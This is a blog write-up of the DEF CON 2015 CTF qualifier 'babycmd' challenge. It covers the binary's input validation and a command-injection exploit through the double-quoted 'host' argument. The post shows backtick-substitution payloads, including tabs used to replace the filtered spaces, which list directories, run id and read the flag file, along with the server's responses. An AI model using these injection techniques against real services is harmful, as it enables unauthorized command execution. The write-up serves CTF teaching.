Defcon 23 CTF Quals 2015 – Babycmd writeup

The babycmd challenge was an x64 ELF binary supporting 4 commands: ping, dig, host, and exit. In the case of ping, dig and host, it just calls the corresponding binary with a user-controlled argument.

This binary uses signal(2) 0xE (SIGALRM – Timer signal from alarm(2)) and alarm() in order to terminate the process after 45 seconds. This was a bit annoying while working on this binary, so I replaced the original argument 0x2d for alert() with a 0; as explained in the alarm(2) documentation, if the seconds argument is 0, no new alarm is scheduled.

Original code:

.text:0000000000001267                 mov     edi, 0Eh
.text:000000000000126C                 call    _signal
.text:0000000000001271                 mov     edi, 0x2d
.text:0000000000001276                 call    _alarm

Patched code:

.text:0000000000001267                 mov     edi, 0Eh
.text:000000000000126C                 call    _signal
.text:0000000000001271                 mov     edi, 0
.text:0000000000001276                 call    _alarm

For all the supported commands, this program does some basic validation of the user-provided argument before calling the corresponding binary. This filter is a kind of blacklist which rejects user input if it contains characters like “&”, “;” and “|”, which may be abused to inject OS commands. You should note that this function also removes spaces (char 0x20) from the user input.

validate_input

In the specific case of the ping command, the program takes the user-controlled argument and calls inet_aton(3) to ensure that the user-controlled argument is an IPv4 address in numbers-and-dots notation before invoking “ping -c 3 -W 3 %s”, thus eliminating the possibility of an OS command injection through the “ping” command.

ping

In the case of the “dig” command, the babycmd program behaves differently. After calling the validate_input() function, it calls the inet_aton(3) function in order to check if the user-controlled argument is a valid IPv4 address, just as it does with the “ping” command. If it’s a valid IPv4 address, then it knows that it’s safe to invoke “dig -x %s”.
However, if the user-controlled argument is not an IPv4 address, it will call an additional input validation function (called more_input_validation() in the screenshot below). This more_input_validation() function checks if the first and last characters of the user input are alphanumeric chars.
If this additional input validation goes well, our program assumes that it’s safe to invoke “dig ‘%s'” (note that there are single quotes around the user-controlled argument here).

dig

The handler of the “host” command is pretty similar to the handler of the “dig” command; the difference here is that, when the user-controlled argument is not an IPv4 address, it will call the more_input_validation() function, and if it succeeds then it will invoke ‘host “%s”‘ (note that there are double quotes around the user-controlled argument here).

host

So, what’s the difference between putting single quotes and putting double quotes around a command-line argument when invoking a program? Well, the difference is that double quotes (as used when invoking the “host” binary) do not prevent shell metacharacters from being interpreted as such. That means that we can evaluate commands through command substitution (`id` or $(id)), expand environment variables ($HOME), etc.

So now we know that we can inject OS commands through the “host” command. Let’s connect to the server and do a file listing. We can inject OS commands by doing “host a`some_command`b“. Note that we put an alphanumeric char at the beginning and at the end of the argument for the “host” command; this is necessary for our input to be approved by the more_input_validation() function.

$ nc babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me 15491
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host a`ls`x
host: 'abin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.oldx' is not a legal name (label too long)

Let’s execute “id”:

Commands: ping, dig, host, exit
: host a`id`x
Host auid=1001\(babycmd\)\032gid=1001\(babycmd\)\032groups=1001\(babycmd\)x.ec2.internal not found: 2(SERVFAIL)

So the vulnerable program is running under the “babycmd” user in the target machine. Let’s get a listing of the files under /home/babycmd. Remember that the first input validation function removes char 0x20 from the user input, so if we need to execute a command containing spaces we need to use Tabs instead:

Commands: ping, dig, host, exit
: host a`ls     -la     /home/babycmd`x
host: 'atotal 36
drwxr-x--- 2 root    babycmd  4096 May 15 15:53 .
drwxr-xr-x 4 root    root     4096 May 15 10:54 ..
-rw-r--r-- 1 babycmd babycmd   220 Apr  9  2014 .bash_logout
-rw-r--r-- 1 babycmd babycmd  3637 Apr  9  2014 .bashrc
-rw-r--r-- 1 babycmd babycmd   675 Apr  9  2014 .profile
-rwxr-xr-x 1 root    root    10288 May 15 15:53 babycmd
-rw-r--r-- 1 root    babycmd    73 May 15 10:54 flagx' is not a legal name (empty label)

The flag file is right there! Let’s print its contents:

Commands: ping, dig, host, exit
: host a`cat    /home/babycmd/flag`x
host: 'aThe flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??x' is not in legal name syntax (label too long)

So the flag for this challenge was: Pretty easy eh!!~ Now let’s try something hArd3r, shallwe??

Advertisements

One thought on “Defcon 23 CTF Quals 2015 – Babycmd writeup

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s